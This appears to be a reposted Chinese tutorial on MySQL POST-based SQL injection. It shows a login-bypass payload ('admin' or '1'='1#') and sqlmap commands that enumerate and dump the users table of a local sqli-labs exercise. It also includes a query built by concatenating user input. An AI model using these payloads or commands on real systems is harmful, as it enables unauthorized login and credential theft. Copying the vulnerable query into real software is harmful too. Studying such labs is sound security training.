⑨Mysql POST注入

来源:互联网 发布:开源yii框架商城源码 编辑:程序博客网 时间:2024/06/05 00:54

POST介绍

POST方法起初是用来向服务器输入数据的。

实际上,通常会用POST方法来支持HTML的表单。表单中填好数据通常会被送到服务器,然后由服务器将其发送到它要去的地方(比如,送到一个服务器网关程序中,然后由这个程序对其进行处理)。

如图所示,显示的是一个用POST方法发起HTTP请求——像服务器发送表单数据——的客户端。

这里写图片描述

POST注入介绍

如上图所示,一般情况下,当我们通过HTML表单提交数据到服务器时,服务端都会在数据库(库存)中检查我们输入的数据是否符合要求,然后根据数据库搜索结果返回相应的数据给客户端。

这里以账号username密码password登录为例

这里写图片描述

后台的SQL查询语句如下:

$sql="SELECT username, password FROM users WHERE username='$username' and
password='$password' LIMIT 0,1";

由于$username$password 都可以由用户输入,如果我们构造一些“恶意”的SQL语句,“欺骗”后台数据库执行系统不愿意用户执行的操作,那么就产生了SQL注入。这就是我们常说的POST注入。

最经典的POST注入莫过于“万能密码”。

username :admin' or '1'='1#

password :*******(随意输入)

此时,后台数据库的查询语句为:

$sql="SELECT username, password FROM users WHERE username='admin' or '1'='1 # and
password='$password' LIMIT 0,1";

显而易见,’1’ = ‘1’恒为真,而且#后面的密码直接被注释了,那么我们可以直接登录到后台了。

现在网站基本上已经看不到这种万能密码了,但是仍然是我们学习POST注入的经典例子。

sqlmap POST注入

我们说过,当我们知道基本的原理之后,我们还要学会使用自动化注入工具。

前面关于SQL注入原理以及一些payload构造原理我们已经讲的比较多了,我们现在已经可以学学使用工具进行自动化注入了。

其实工具自动化注入的payload与我们之前讲解的那些payload的基本原理大致相同,当然工具里面的payload肯定比我们之前讲解的payload高级很多。

自动化注入工具推荐使用sqlmap,大家可以学学其基本的使用方法,然后在不断的实践中慢慢掌握其用法。

POST注入先介绍两个参数:

  • 从文件中加载HTTP请求

    • 参数:-r

    • sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据等等)。

  • 自动获取form表单测试

    • 参数:–forms
    • 如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过–data参数测试。 但是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。

一般情况下,对于POST注入,我使用第二个参数–forms。

Less-11

我们以less-11为例讲解sqlmap如何一步一步的枚举数据库。

枚举当前数据库名

输入指令为:python sqlmap.py -u "http://127.0.0.1/sqli-labs/less-11" --forms --current-db

这里写图片描述

枚举当前数据库的表名

输入指令为:python sqlmap.py -u "http://127.0.0.1/sqli-labs/less-11" --forms -D "security" --tables

这里写图片描述

枚举数据表的字段名

输入指令为:python sqlmap.py -u "http://127.0.0.1/sqli-labs/less-11" --forms -D "security" -T "users" --columns

这里写图片描述

枚举字段的数据项

输入指令为:python sqlmap.py -u "http://127.0.0.1/sqli-labs/less-11" --forms -D "security" -T "users" -C "username,password" --dump

这里写图片描述

0 0
原创粉丝点击